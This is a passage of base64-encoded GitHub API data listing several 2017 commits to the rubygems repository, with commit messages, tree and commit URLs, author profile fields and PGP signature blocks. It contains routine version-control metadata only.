NISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjJUMTI6NTY6MjlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yMlQxMjo1NjoyOVoifSwibWVzc2FnZSI6IlJlbW92ZSBuZWVkbGVzcyBSZWdleCBtYXRjaGVyIiwidHJlZSI6eyJzaGEiOiI4NGZiZTZhMTE1YTBlMmVkNWQyYzM1N2NjNzgxZTNiNzE5MTc3NzZjIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvODRmYmU2YTExNWEwZTJlZDVkMmMzNTdjYzc4MWUzYjcxOTE3Nzc2YyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzAxMDNhMjU0Y2IzYzUxNWNiMjJhYzM2ZjExMjcyM2YzN2Q0NjMxNjciLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblxuaVFFekJBQUJDQUFkRmlFRTUwTFI5MEpPby8zcEl2ZG0rYzhUUVhKaytzSUZBbG85QVAwQUNna1ErYzhUUVhKa1xuK3NLb2hBZ0F2Y1pmbHlDUERhaDFHdzd3Z3ppVG54M1N2YTZvYnpIMjBUYVJ0M3lWSTlFelpDK2ozOE4zOFN5elxuOXFUeUJGUlJrUUhhdys5SFUyYU9BeG9sRXlLbVZKUkY1cmZ3amcyY09LNWV2K3Y4eWZ1cFlmeVdKVkFxU0d0SVxuSkN2amVXUHRSeG9IaUpWSlAvTy80a3VpdnA1dElFU3ZZaXQ3aXdOWEFKOTg5bXQ1S2tLVTZ6UVMvQml6TW5PTlxuRkllY3YyNEFQUDRYT0ZlTVlSRG1kZ3hxTjZrZUlhWFRJdEsxeWFqRGVqRlpNU3I3aHZqa21UTExDbzdsa0txQlxuMFlNaFZqbk44WTVaeHROcGJPdk14VWR0T1Z6eG5IcHd4SVdnQmNWK29xRC9kNUVqKzQ1dkxyNXRwdFZQVUcyVVxuL2dMdEdjaGlYZHhSb1U0dGpaakJNWEduUkJYRWNBPT1cbj0wNWN6XG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSA4NGZiZTZhMTE1YTBlMmVkNWQyYzM1N2NjNzgxZTNiNzE5MTc3NzZjXG5wYXJlbnQgZDY0Y2I5NmU1MDM0YzgwOTEyN2FkOTM1MWY3ZGYzYjg1MzU2YjE4OVxuYXV0aG9yIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTEzOTQ3Mzg5ICswOTAwXG5jb21taXR0ZXIgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MTM5NDczODkgKzA5MDBcblxuUmVtb3ZlIG5lZWRsZXNzIFJlZ2V4IG1hdGNoZXJcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzAxMDNhMjU0Y2IzYzUxNWNiMjJhYzM2ZjExMjcyM2YzN2Q0NjMxNjciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMDEwM2EyNTRjYjNjNTE1Y2IyMmFjMzZmMTEyNzIzZjM3ZDQ2MzE2NyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8wMTAzYTI1NGNiM2M1MTVjYjIyYWMzNmYxMTI3MjNmMzdkNDYzMTY3L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZDY0Y2I5NmU1MDM0YzgwOTEyN2FkOTM1MWY3ZGYzYjg1MzU2YjE4OSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kNjRjYjk2ZTUwMzRjODA5MTI3YWQ5MzUxZjdkZjNiODUzNTZiMTg5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2Q2NGNiOTZlNTAzNGM4MDkxMjdhZDkzNTFmN2RmM2I4NTM1NmIxODkifV19LHsic2hhIjoiZDY0Y2I5NmU1MDM0YzgwOTEyN2FkOTM1MWY3ZGYzYjg1MzU2YjE4OSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjJUMTI6NDU6MTBaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yMlQxMjo0NToxMFoifSwibWVzc2FnZSI6IkFkZGVkIGNvbW1lbnRzIGZvciB0ZXN0IHNjZW5hcmlvLiIsInRyZWUiOnsic2hhIjoiY2VjMTE5NzNlNjM2ZGVlMTRiM2Y4YWE1MzNhZmYyZjg1Mzc4OWQ3OCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2NlYzExOTczZTYzNmRlZTE0YjNmOGFhNTMzYWZmMmY4NTM3ODlkNzgifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9kNjRjYjk2ZTUwMzRjODA5MTI3YWQ5MzUxZjdkZjNiODUzNTZiMTg5IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxvOC9sWUFDZ2tRK2M4VFFYSmtcbitzSmxMQWY5RXZKZzRSODhsV1haZ3hnRGZ0bUZLVTUvMjBQMFR1ZDRxajhnTVBFQ3Z5TjZzL1I5WG1OS0k1YlNcbldtYVUyWXZtbEFFRlErb0ljS0I4SnhveUJ4eHZkNFRXdUhRS3pIVENJTWVlRGdRQ0xpekVQY0g2MjJ4bitRRUNcbkUzcnNmZlR6SitHVmM5cXJqKzJVQ2J4anRkSWs5d0NSSHV0RnlHcE9ySnBRNTY4VHFwOGtBZ1I2V2hzb3RGeTVcbnVwQWVnMmxJS00reklOc013aExPb0hGVTRUNUQzVEVGWlV6RFdOQmJxTDZnYXBPWm5ERE16c0c4Q3cvV0sreGlcbmxkcVcrVkt6bmxvdlYwRVNKdTR3TjM5WE81eDZaYzN6ZlkvR0xzVE5tWVBxZVkzeDhWd3hDZFJ2eEcwczRJN25cbnU0aXA2blg3V2wzN3h1UDdZTDNiSFNpQUlTVGVadz09XG49YWp6clxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgY2VjMTE5NzNlNjM2ZGVlMTRiM2Y4YWE1MzNhZmYyZjg1Mzc4OWQ3OFxucGFyZW50IGRiMDA0NzhkMjEwM2FiZWI0NTNhY2FjZTVlOGJjNGZhNTg0MjU0ZDJcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMzk0NjcxMCArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTEzOTQ2NzEwICswOTAwXG5cbkFkZGVkIGNvbW1lbnRzIGZvciB0ZXN0IHNjZW5hcmlvLlxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZDY0Y2I5NmU1MDM0YzgwOTEyN2FkOTM1MWY3ZGYzYjg1MzU2YjE4OSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kNjRjYjk2ZTUwMzRjODA5MTI3YWQ5MzUxZjdkZjNiODUzNTZiMTg5IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2Q2NGNiOTZlNTAzNGM4MDkxMjdhZDkzNTFmN2RmM2I4NTM1NmIxODkvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJkYjAwNDc4ZDIxMDNhYmViNDUzYWNhY2U1ZThiYzRmYTU4NDI1NGQyIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RiMDA0NzhkMjEwM2FiZWI0NTNhY2FjZTVlOGJjNGZhNTg0MjU0ZDIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZGIwMDQ3OGQyMTAzYWJlYjQ1M2FjYWNlNWU4YmM0ZmE1ODQyNTRkMiJ9XX0seyJzaGEiOiJkYjAwNDc4ZDIxMDNhYmViNDUzYWNhY2U1ZThiYzRmYTU4NDI1NGQyIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yMlQxMjozMDoxOVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTIyVDEyOjMwOjE5WiJ9LCJtZXNzYWdlIjoiQnVtcCB1cCBidW5kbGVyIHZlcnNpb24gdG8gMS4xNi4xIG9uIHRlc3QiLCJ0cmVlIjp7InNoYSI6ImFiMTEyMjk5Nzg5Mzk4NDRkMWM2ZThiOGZlZmNkYmZiNTlhMWMwODUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9hYjExMjI5OTc4OTM5ODQ0ZDFjNmU4YjhmZWZjZGJmYjU5YTFjMDg1In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZGIwMDQ3OGQyMTAzYWJlYjQ1M2FjYWNlNWU4YmM0ZmE1ODQyNTRkMiIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuXG5pUUV6QkFBQkNBQWRGaUVFNTBMUjkwSk9vLzNwSXZkbStjOFRRWEprK3NJRkFsbzgrdHNBQ2drUStjOFRRWEprXG4rc0k3S3dnQXRlZ2VjYzN2Y3F2RlpPdjJPYlNHOWpoNW8zbVhaSHpiNURNdnlFbzZuNTFzQ3dBeWU3cjNCNEd4XG5NanZNNkwydTZWNDAxRnhiR2VPMVBHaXhJOExWWXE2MFBBV0ZiODhkTmxKcmI3L1hCZXNrWlRndGdsclN0NlRLXG5rTWZNUUh2WVc0VkRuWkRtYi9pMlNEN2poT3RvTkxZNXJLVHNKMFk4dUFHVkRFdjZ2cnJ1cGZnNFF0RHhYbHlGXG5EV1ErNnR4VFZ6V3dVN3Z2SmdqdjIwN3h2ZVhVQ256aVhRMDJ4dGx6OWhTcTRKR1UyS0xlaHl2ZTJnVG5laWNSXG5vMi8ybkN5bE1Gem92YUEzeU02YzcvS0hOUUlUTSs3SDhPMEtRb1VtK1UwZ2ErYVY3Tit2ckJVOGhBQjhuYzVHXG5NbmYwZGFtamxGUGRYS2pLVXp1N1hLVXFubU9jU2c9PVxuPUMrVXJcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGFiMTEyMjk5Nzg5Mzk4NDRkMWM2ZThiOGZlZmNkYmZiNTlhMWMwODVcbnBhcmVudCAxNTgwNTY2OTlkNzBhN2YwZmQ5NDdkOTc0NmZkYmU5Y2MwNWM2NDk3XG5hdXRob3IgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MTM5NDU4MTkgKzA5MDBcbmNvbW1pdHRlciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMzk0NTgxOSArMDkwMFxuXG5CdW1wIHVwIGJ1bmRsZXIgdmVyc2lvbiB0byAxLjE2LjEgb24gdGVzdFxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGIwMDQ3OGQyMTAzYWJlYjQ1M2FjYWNlNWU4YmM0ZmE1ODQyNTRkMiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kYjAwNDc4ZDIxMDNhYmViNDUzYWNhY2U1ZThiYzRmYTU4NDI1NGQyIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RiMDA0NzhkMjEwM2FiZWI0NTNhY2FjZTVlOGJjNGZhNTg0MjU0ZDIvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiIxNTgwNTY2OTlkNzBhN2YwZmQ5NDdkOTc0NmZkYmU5Y2MwNWM2NDk3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzE1ODA1NjY5OWQ3MGE3ZjBmZDk0N2Q5NzQ2ZmRiZTljYzA1YzY0OTciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMTU4MDU2Njk5ZDcwYTdmMGZkOTQ3ZDk3NDZmZGJlOWNjMDVjNjQ5NyJ9XX0seyJzaGEiOiIxNTgwNTY2OTlkNzBhN2YwZmQ5NDdkOTc0NmZkYmU5Y2MwNWM2NDk3IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yMlQxMjoyOTo1NVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTIyVDEyOjI5OjU1WiJ9LCJtZXNzYWdlIjoiQWRkZWQgdGVzdHMgYW5kIGZpeGVkIHRvIGdlbXNwZWMgY2xlYW51cCBwcm9jZXNzLiIsInRyZWUiOnsic2hhIjoiYWE5NTU5NWE5OGM3MTZhMTBmMGZhNTdiOWU0OWMwZjVjMWU4ODM2NCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2FhOTU1OTVhOThjNzE2YTEwZjBmYTU3YjllNDljMGY1YzFlODgzNjQifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8xNTgwNTY2OTlkNzBhN2YwZmQ5NDdkOTc0NmZkYmU5Y2MwNWM2NDk3IiwiY29tbWVudF9jb3VudCI6MCwidmVyaW